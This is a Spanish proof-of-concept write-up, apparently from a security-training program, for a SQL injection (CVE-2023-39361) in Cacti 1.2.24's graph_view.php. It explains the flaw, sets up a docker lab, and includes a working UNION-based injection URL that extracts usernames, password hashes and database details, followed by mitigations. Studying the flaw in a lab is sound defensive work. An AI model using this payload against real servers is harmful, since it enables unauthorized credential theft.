
Prueba de concepto de exploit para CVE-2023-39361, una inyección SQL en Cacti graph_view.php que conduce a la exfiltración de datos y posible RCE.
[ WHS 3.ª generación ] - 남기찬_7342 (ChoDeokCheol)
grow_right_pane_tree del archivo graph_view.php en el servidor Cacti 1.2.24.action como tree_content, existe el parámetro rfilter que es un valor de entrada del usuario.rfilter se valida a través de la función html_validate_tree_vars, pero dicha validación solo verifica si es una expresión regular válida.rfilter se inserta en la consulta SQL, permitiendo inyección de código.docker-compose -v.docker-compose.yml y entrypoint.sh de vulhub en cacti/CVE-2023-39361.docker compose up -d. (Imagen: cacti:1.2.24)

Esta vulnerabilidad ocurre cuando la configuración de autenticación permite que usuarios normales (invitados) puedan ver gráficos.
Esta vulnerabilidad se puede comprobar con la entrada de los siguientes parámetros:
%20OR%20""="(( : código típico de inyección SQL. Fuerza una condición verdadera mediante OR.%20UNION%20SELECT% : Obtiene resultados arbitrarios deseados.(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Solicita los valores id#username#password.(select%20user()),(select%20version()) : Obtiene el usuario/versión de la base de datos.%23 : es #, por lo que la declaración SQL posterior queda anulada.
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
Se puede confirmar que se ha dado la respuesta según lo solicitado.
Los ataques de inyección SQL ocurren principalmente cuando se acepta la entrada del usuario durante la interacción con el servidor. Este ataque de inyección SQL comprometió la confidencialidad de la base de datos y resultó en la fuga de activos.
Como medida contra esta inyección SQL, se puede verificar la validación básica de lista blanca de rfilter o escapar caracteres especiales como (", ', ;, ...). También se pueden realizar mejoras utilizando bibliotecas ORM como Doctrine al acceder a la base de datos.